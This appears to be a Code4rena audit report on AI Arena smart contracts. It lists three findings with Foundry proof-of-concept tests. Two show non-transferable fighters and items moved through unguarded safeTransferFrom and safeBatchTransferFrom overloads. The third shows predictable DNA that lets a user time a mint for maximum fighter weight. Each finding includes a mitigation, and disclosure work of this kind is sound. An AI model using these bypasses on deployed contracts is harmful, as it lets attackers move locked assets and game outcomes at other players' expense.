AI Arena - 0xlyov's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L338-L348

Vulnerability details

Impact

Any bad actor can transfer fighters, designed by the protocol as non-transferable. These malicious actions can lead to unexpected consequences, such as a user having more fighters than MAX_FIGHTERS_ALLOWED.

Proof of Concept

Add this function in the FighterFarm.t.sol contract and run forge test --match-test testMYPOCSafeTransferFrom -vvvv.

function testMYPOCSafeTransferFrom() public {
        address attacker = makeAddr("attacker"); 
        address receiver = makeAddr("receiver");
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(0), attacker);
        
        vm.expectRevert();
        vm.prank(attacker);
        _fighterFarmContract.safeTransferFrom(attacker, receiver, 0);
        
        vm.prank(attacker);
        _fighterFarmContract.safeTransferFrom(attacker, receiver, 0, "0x");
        assertEq(_fighterFarmContract.ownerOf(0), receiver);
    }

Tools Used

Manual

Recommended Mitigation Steps

Consider overriding this function and adding corresponding checks.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303

Vulnerability details

Impact

Any bad actor can transfer items, designed by the protocol as non-transferable. These malicious actions can lead to unexpected consequences, such as a bad actor exploiting the loophole, and selling the item outside the boundaries defined by the protocol logic.

Proof of Concept

Add this function in the GameItems.t.sol contract and run forge test --match-test testMyPOCsafeBatchTransferFrom -vvvv.

function testMyPOCsafeBatchTransferFrom() public {
        address attacker = makeAddr("attacker"); 
        address receiver = makeAddr("receiver");
       _fundUserWith4kNeuronByTreasury(attacker);
        vm.prank(attacker);
        _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries
        assertEq(_gameItemsContract.balanceOf(attacker, 0), 2);



        _gameItemsContract.adjustTransferability(0, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);
        
        vm.prank(attacker);
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(attacker, receiver, 0, 1, "");
        assertEq(_gameItemsContract.balanceOf(receiver, 0), 0);
        
        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;
        
        vm.prank(attacker);
        
        _gameItemsContract.safeBatchTransferFrom(attacker, receiver,ids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(receiver, 0), 1);
        assertEq(_gameItemsContract.balanceOf(attacker, 0), 1);
    }

Tools Used

Manual

Recommended Mitigation Steps

Consider overriding the safeBatchTransferFrom function and adding corresponding checks.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L191-L222

Vulnerability details

Impact

The user can create fighters using the claimFighters function in the FighterFarm contract. In order to be able to create a fighter the delegated address must first sign a message which enables the user to claim a specified number of fighters. The message that's being signed is as follows:

bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1]
        )));

Later, after passing the verification that the message is signed by the delegated address the following function will be called to create a fighter

_createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(msg.sender, fighters.length))),
                modelHashes[i], 
                modelTypes[i],
                i < numToMint[0] ? 0 : 1,
                0,
                [uint256(100), uint256(100)]
            );

The interesting line here is the second parameter:

uint256(keccak256(abi.encode(msg.sender, fighters.length)))

which is the dna argument in the _createNewFighter function. The dna is later used in the _createFighterBase in the following way:

    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

The interesting variable here is the weight variable, which defines the strength of the character which directly affects the gameplay and leads to some characters being more powerful than others.

The problem lies in the fact that the dna argument that's being passed to the _createNewFighter can be controlled to some extent by the attacker. The attacker can control the input in the following way: Because the fighters is a global storage variable, the attack can wait until the keccak256(abi.encode(msg.sender, fighters.length)) is such a value that when being put into the following equation uint256 weight = dna % 31 + 65; the result would be the maximum possible value of 95. For this to happen the dna % 31 needs to be equal to 30.

Proof of Concept

Put the following into the test/randomness_claim.t.sol file and run the following command: forge test --match-test testRandomClaimPoc -vv The output will be the fighters.length that is required to get a weight that's 95 for an address that's generated from the string 'alice'.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
// import {Utilities} from "./utils/Utilities.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/// @notice Unit test for FighterFarm Contract.
contract FighterFarmTest is Test {
    // Utilities internal _utils;
    // address payable[] internal _users;

    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    /*//////////////////////////////////////////////////////////////
                                SETUP
    //////////////////////////////////////////////////////////////*/

    function setUp() public {
        // _utils = new Utilities();
        // _users = _utils.createUsers(5);
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    }

    function testRandomClaimPoc() public {
        address user1 = makeAddr('alice');
        uint neededValue;
        for (uint i=0; i<10000; i++){
            if((uint256(keccak256(abi.encode(user1, i))) % 31) > 29) {
                console.log("Found the needed fighters.length");
                console.log(i);
                neededValue = i;
                break;
            }
        }
        uint weight = (uint256(keccak256(abi.encode(user1, neededValue))) % 31) + 65;
        console.log("The weight will be: ");
        console.log(weight);
        assertEq(weight, 95);

    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }
}

Tools Used

Manual

Recommended Mitigation Steps

Ideally, use chainlink randomness, otherwise, the msgHash can be modified to include some random nonce argument which will be used for dna calculations such as this:

bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1],
            nonce
        )));

where nonce is uint256.

Assessed type

Other